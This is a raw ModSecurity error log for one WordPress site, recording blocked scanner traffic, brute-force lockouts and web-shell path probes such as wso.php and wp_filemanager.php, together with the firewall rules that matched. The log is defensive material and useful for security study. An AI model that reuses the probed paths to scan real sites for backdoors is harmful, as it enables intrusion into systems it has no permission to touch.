[Wed Mar 25 18:57:35.885517 2026] [:error] [pid 26449:tid 26463] [client 20.220.197.73:37106] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 22"] [hostname "measureyourbrand.com.au"] [uri "/server.php"] [unique_id "acO_n9pZ2T15NDqzAjF05QAAAko"]
[Wed Mar 25 18:57:36.721692 2026] [:error] [pid 26321:tid 26358] [client 20.220.197.73:37082] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 22"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/library/"] [unique_id "acO_oPKO65qqGZCSPZo-EQAAAhE"]
[Wed Mar 25 18:57:37.546879 2026] [:error] [pid 25967:tid 25996] [client 20.220.197.73:37133] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 22"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/"] [unique_id "acO_ofg8Qtq7ZM4mSFlI5gAAA1g"]
[Wed Mar 25 18:57:38.371431 2026] [:error] [pid 25967:tid 25985] [client 20.220.197.73:37113] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 22"] [hostname "measureyourbrand.com.au"] [uri "/wso.php"] [unique_id "acO_ovg8Qtq7ZM4mSFlI6wAAA00"]
[Wed Mar 25 18:57:39.195365 2026] [:error] [pid 756:tid 858] [client 20.220.197.73:37075] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 22"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "acO_ozOaW6oylMIDBCQcmQAAAIY"]
[Wed Mar 25 18:57:40.019180 2026] [:error] [pid 26321:tid 26364] [client 20.220.197.73:37130] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 22"] [hostname "measureyourbrand.com.au"] [uri "/wp-file.php"] [unique_id "acO_pPKO65qqGZCSPZo-FgAAAhc"]
[Wed Mar 25 18:57:40.839524 2026] [:error] [pid 26449:tid 26471] [client 20.220.197.73:37091] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 22"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "acO_pNpZ2T15NDqzAjF07AAAAlI"]
[Wed Mar 25 18:57:41.685814 2026] [:error] [pid 892:tid 913] [client 20.220.197.73:37139] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 22"] [hostname "measureyourbrand.com.au"] [uri "/wk/index.php"] [unique_id "acO_pST_G8WMU3T3yxrNYAAAAM8"]
[Wed Mar 25 18:57:42.516479 2026] [:error] [pid 756:tid 863] [client 20.220.197.73:37089] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 22"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin.php"] [unique_id "acO_pjOaW6oylMIDBCQcnAAAAIs"]
[Wed Mar 25 18:57:43.341540 2026] [:error] [pid 26321:tid 26358] [client 20.220.197.73:37129] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 22"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "acO_p_KO65qqGZCSPZo-IAAAAhE"]
[Wed Mar 25 18:57:44.166746 2026] [:error] [pid 26321:tid 26340] [client 20.220.197.73:37126] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 22"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-bindings/"] [unique_id "acO_qPKO65qqGZCSPZo-KgAAAgE"]
[Wed Mar 25 18:57:45.003357 2026] [:error] [pid 25875:tid 25895] [client 20.220.197.73:37058] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 22"] [hostname "measureyourbrand.com.au"] [uri "/xmrlpc.php"] [unique_id "acO_qRJ38QkS3NyfshzqZwAAAo4"]
[Wed Mar 25 18:57:45.848992 2026] [:error] [pid 26449:tid 26463] [client 20.220.197.73:37102] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "acO_qdpZ2T15NDqzAjF07QAAAko"]
[Wed Mar 25 18:57:46.671322 2026] [:error] [pid 47989:tid 48013] [client 20.220.197.73:37111] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 22"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/file.php"] [unique_id "acO_qiWKdJMhIccROjnGMQAAAVY"]
[Wed Mar 25 18:57:49.093141 2026] [:error] [pid 47989:tid 48007] [client 20.220.197.73:37140] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 22"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/fields/"] [unique_id "acO_rSWKdJMhIccROjnGPwAAAVA"]
[Wed Mar 25 18:57:49.913866 2026] [:error] [pid 47989:tid 47994] [client 20.220.197.73:37125] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 22"] [hostname "measureyourbrand.com.au"] [uri "/atomlib.php"] [unique_id "acO_rSWKdJMhIccROjnGQwAAAUM"]
[Wed Mar 25 18:57:50.737488 2026] [:error] [pid 47989:tid 47997] [client 20.220.197.73:37117] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 22"] [hostname "measureyourbrand.com.au"] [uri "/css/index.php"] [unique_id "acO_riWKdJMhIccROjnGRAAAAUY"]
[Wed Mar 25 18:57:51.585597 2026] [:error] [pid 25875:tid 25893] [client 20.220.197.73:37138] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 22"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/et-cache/"] [unique_id "acO_rxJ38QkS3NyfshzqbwAAAow"]
[Wed Mar 25 18:57:52.430621 2026] [:error] [pid 26321:tid 26348] [client 20.220.197.73:37650] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 22"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "acO_sPKO65qqGZCSPZo-OgAAAgc"]
[Wed Mar 25 18:57:53.255783 2026] [:error] [pid 26269:tid 26282] [client 20.220.197.73:37095] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 22"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/admin.php"] [unique_id "acO_sUn7e-ZQbaIs7qy2_AAAAYY"]
[Wed Mar 25 18:57:54.091120 2026] [:error] [pid 26321:tid 26364] [client 20.220.197.73:37124] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 22"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "acO_svKO65qqGZCSPZo-PAAAAhc"]
[Wed Mar 25 18:57:54.914108 2026] [:error] [pid 892:tid 918] [client 20.220.197.73:37066] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "acO_siT_G8WMU3T3yxrNdQAAANM"]
[Wed Mar 25 18:57:55.753838 2026] [:error] [pid 25967:tid 25977] [client 20.220.197.73:37168] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 22"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/"] [unique_id "acO_s_g8Qtq7ZM4mSFlJEAAAA0U"]
[Wed Mar 25 18:57:56.592759 2026] [:error] [pid 25875:tid 25885] [client 20.220.197.73:37180] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 22"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "acO_tBJ38QkS3NyfshzqgAAAAoQ"]
[Wed Mar 25 18:57:57.413539 2026] [:error] [pid 892:tid 901] [client 20.220.197.73:37163] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 22"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/block/"] [unique_id "acO_tST_G8WMU3T3yxrNdgAAAMQ"]
[Wed Mar 25 18:57:58.239628 2026] [:error] [pid 25967:tid 25987] [client 20.220.197.73:37136] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 22"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "acO_tvg8Qtq7ZM4mSFlJFwAAA08"]
[Wed Mar 25 18:57:59.118312 2026] [:error] [pid 756:tid 856] [client 20.220.197.73:37063] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "acO_tzOaW6oylMIDBCQcpAAAAIQ"]
[Wed Mar 25 18:57:59.939152 2026] [:error] [pid 25969:tid 26039] [client 20.220.197.73:37100] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 22"] [hostname "measureyourbrand.com.au"] [uri "/buy.php"] [unique_id "acO_txd3aEUmOfdKja8FrwAAA80"]
[Wed Mar 25 18:58:00.768521 2026] [:error] [pid 26269:tid 26281] [client 20.220.197.73:37108] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 22"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "acO_uEn7e-ZQbaIs7qy2_gAAAYU"]
[Wed Mar 25 18:58:01.592670 2026] [:error] [pid 25875:tid 25886] [client 20.220.197.73:37654] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 22"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/index.php"] [unique_id "acO_uRJ38QkS3NyfshzqhgAAAoU"]
[Wed Mar 25 18:58:02.416122 2026] [:error] [pid 26321:tid 26355] [client 20.220.197.73:37098] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 22"] [hostname "measureyourbrand.com.au"] [uri "/about.PHP"] [unique_id "acO_uvKO65qqGZCSPZo-UAAAAg4"]
[Wed Mar 25 18:58:03.240917 2026] [:error] [pid 26269:tid 26286] [client 20.220.197.73:37101] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 22"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "acO_u0n7e-ZQbaIs7qy3AQAAAYo"]
[Wed Mar 25 18:58:04.071469 2026] [:error] [pid 25967:tid 25996] [client 20.220.197.73:37118] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 22"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/index.php"] [unique_id "acO_vPg8Qtq7ZM4mSFlJJAAAA1g"]
[Wed Mar 25 18:58:04.914007 2026] [:error] [pid 25967:tid 25976] [client 20.220.197.73:37094] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 22"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/edit.php"] [unique_id "acO_vPg8Qtq7ZM4mSFlJKgAAA0Q"]
[Wed Mar 25 18:58:05.738620 2026] [:error] [pid 756:tid 876] [client 20.220.197.73:37144] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 22"] [hostname "measureyourbrand.com.au"] [uri "/sf.php"] [unique_id "acO_vTOaW6oylMIDBCQcpwAAAJg"]
[Wed Mar 25 18:58:06.558760 2026] [:error] [pid 25875:tid 25897] [client 20.220.197.73:37093] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/index.php"] [unique_id "acO_vhJ38QkS3NyfshzqkgAAApA"]
[Wed Mar 25 18:58:07.381741 2026] [:error] [pid 47989:tid 47992] [client 20.220.197.73:37072] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 22"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "acO_vyWKdJMhIccROjnGbAAAAUE"]
[Wed Mar 25 18:58:08.205027 2026] [:error] [pid 47989:tid 48006] [client 20.220.197.73:37081] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 22"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/modern/"] [unique_id "acO_wCWKdJMhIccROjnGbwAAAU8"]
[Wed Mar 25 18:58:09.026696 2026] [:error] [pid 25967:tid 25977] [client 20.220.197.73:37083] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 22"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/"] [unique_id "acO_wfg8Qtq7ZM4mSFlJPAAAA0U"]
[Wed Mar 25 18:58:09.858251 2026] [:error] [pid 25967:tid 25990] [client 20.220.197.73:37122] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 22"] [hostname "measureyourbrand.com.au"] [uri "/test1.php"] [unique_id "acO_wfg8Qtq7ZM4mSFlJQwAAA1I"]
[Wed Mar 25 18:58:10.701166 2026] [:error] [pid 47989:tid 48013] [client 20.220.197.73:37134] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 22"] [hostname "measureyourbrand.com.au"] [uri "/wp-cron.php"] [unique_id "acO_wiWKdJMhIccROjnGfgAAAVY"]
[Wed Mar 25 18:58:11.532255 2026] [:error] [pid 47989:tid 47998] [client 20.220.197.73:37065] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 22"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/"] [unique_id "acO_wyWKdJMhIccROjnGhQAAAUc"]
[Wed Mar 25 18:58:12.355797 2026] [:error] [pid 25967:tid 25995] [client 20.220.197.73:37071] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 22"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "acO_xPg8Qtq7ZM4mSFlJTAAAA1c"]
[Wed Mar 25 18:58:13.178004 2026] [:error] [pid 47989:tid 48005] [client 20.220.197.73:37067] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 22"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/1.php"] [unique_id "acO_xSWKdJMhIccROjnGlgAAAU4"]
[Wed Mar 25 18:58:14.003311 2026] [:error] [pid 25967:tid 25972] [client 20.220.197.73:37175] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 22"] [hostname "measureyourbrand.com.au"] [uri "/images/index.php"] [unique_id "acO_xvg8Qtq7ZM4mSFlJUwAAA0A"]
[Wed Mar 25 20:16:59.978564 2026] [:error] [pid 25967:tid 25994] [client 170.106.73.216:57286] [client 170.106.73.216] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "acPSO_g8Qtq7ZM4mSFlibgAAA1Y"]
[Wed Mar 25 20:28:06.382598 2026] [:error] [pid 47989:tid 47993] [client 51.103.36.25:65027] [client 51.103.36.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acPU1iWKdJMhIccROjnszAAAAUI"]
[Wed Mar 25 20:28:09.623122 2026] [:error] [pid 47989:tid 48012] [client 51.103.36.25:40129] [client 51.103.36.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acPU2SWKdJMhIccROjns2wAAAVU"]
[Wed Mar 25 20:28:20.800380 2026] [:error] [pid 25875:tid 25884] [client 51.103.36.25:47092] [client 51.103.36.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acPU5BJ38QkS3NyfshwPBgAAAoM"]
[Wed Mar 25 20:59:15.170798 2026] [:error] [pid 47989:tid 47998] [client 20.251.61.72:44345] [client 20.251.61.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx22.php"] [unique_id "acPcIyWKdJMhIccROjn33wAAAUc"]
[Wed Mar 25 20:59:15.706767 2026] [:error] [pid 26449:tid 26474] [client 20.251.61.72:54899] [client 20.251.61.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx22.php"] [unique_id "acPcI9pZ2T15NDqzAjGGxAAAAlU"]
[Wed Mar 25 20:59:16.249164 2026] [:error] [pid 26449:tid 26454] [client 20.251.61.72:61328] [client 20.251.61.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx22.php"] [unique_id "acPcJNpZ2T15NDqzAjGGxgAAAkE"]
[Wed Mar 25 20:59:16.775714 2026] [:error] [pid 47946:tid 47949] [client 20.251.61.72:54708] [client 20.251.61.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx22.php"] [unique_id "acPcJDipQTqBMSeKYheIngAAAQE"]
[Wed Mar 25 20:59:17.306648 2026] [:error] [pid 25875:tid 25905] [client 20.251.61.72:50676] [client 20.251.61.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blurbs.php"] [unique_id "acPcJRJ38QkS3NyfshwcdwAAApg"]
[Wed Mar 25 20:59:17.834587 2026] [:error] [pid 47946:tid 47965] [client 20.251.61.72:54257] [client 20.251.61.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abca.php"] [unique_id "acPcJTipQTqBMSeKYheInwAAARE"]
